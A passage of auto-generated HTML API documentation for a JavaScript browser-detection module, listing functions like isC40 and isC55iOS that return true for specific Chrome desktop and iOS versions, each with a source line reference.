   \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1480\">line 1480</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC39iOS\"><span class=\"type-signature\">(static) </span>isC39iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 39.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1488\">line 1488</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC40\"><span class=\"type-signature\">(static) </span>isC40<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 40.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1496\">line 1496</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC40iOS\"><span class=\"type-signature\">(static) </span>isC40iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 40.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1504\">line 1504</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC41\"><span class=\"type-signature\">(static) </span>isC41<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 41.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1512\">line 1512</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC41iOS\"><span class=\"type-signature\">(static) </span>isC41iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 41.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1520\">line 1520</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC42\"><span class=\"type-signature\">(static) </span>isC42<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 42.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1528\">line 1528</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC42iOS\"><span class=\"type-signature\">(static) </span>isC42iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 42.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1536\">line 1536</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC43\"><span class=\"type-signature\">(static) </span>isC43<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 43.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1544\">line 1544</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC43iOS\"><span class=\"type-signature\">(static) </span>isC43iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 43.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1552\">line 1552</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC44\"><span class=\"type-signature\">(static) </span>isC44<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 44.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1560\">line 1560</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC44iOS\"><span class=\"type-signature\">(static) </span>isC44iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 44.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1568\">line 1568</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC45\"><span class=\"type-signature\">(static) </span>isC45<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 45.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1576\">line 1576</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC45iOS\"><span class=\"type-signature\">(static) </span>isC45iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 45.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1584\">line 1584</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC46\"><span class=\"type-signature\">(static) </span>isC46<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 46.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1592\">line 1592</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC46iOS\"><span class=\"type-signature\">(static) </span>isC46iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 46.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1600\">line 1600</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC47\"><span class=\"type-signature\">(static) </span>isC47<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 47.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1608\">line 1608</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC47iOS\"><span class=\"type-signature\">(static) </span>isC47iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 47.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1616\">line 1616</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC48\"><span class=\"type-signature\">(static) </span>isC48<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 48.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1624\">line 1624</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC48iOS\"><span class=\"type-signature\">(static) </span>isC48iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 48.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1632\">line 1632</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC49\"><span class=\"type-signature\">(static) </span>isC49<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 49.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1640\">line 1640</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC49iOS\"><span class=\"type-signature\">(static) </span>isC49iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 49.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1648\">line 1648</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC5\"><span class=\"type-signature\">(static) </span>isC5<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 5.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1048\">line 1048</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC50\"><span class=\"type-signature\">(static) </span>isC50<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 50.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1656\">line 1656</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC50iOS\"><span class=\"type-signature\">(static) </span>isC50iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 50.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1664\">line 1664</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC51\"><span class=\"type-signature\">(static) </span>isC51<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 51.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1672\">line 1672</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC51iOS\"><span class=\"type-signature\">(static) </span>isC51iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 51.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1680\">line 1680</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC52\"><span class=\"type-signature\">(static) </span>isC52<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 52.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1688\">line 1688</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC52iOS\"><span class=\"type-signature\">(static) </span>isC52iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 52.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1696\">line 1696</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC53\"><span class=\"type-signature\">(static) </span>isC53<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 53.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1704\">line 1704</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC53iOS\"><span class=\"type-signature\">(static) </span>isC53iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 53.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1712\">line 1712</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC54\"><span class=\"type-signature\">(static) </span>isC54<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 54.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1720\">line 1720</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC54iOS\"><span class=\"type-signature\">(static) </span>isC54iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 54.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1728\">line 1728</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC55\"><span class=\"type-signature\">(static) </span>isC55<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 55.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1736\">line 1736</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC55iOS\"><span class=\"type-signature\">(static) </span>isC55iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 55.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1744\">line 1744</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC56\"><span class=\"type-signature\">(static) </span>isC56<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 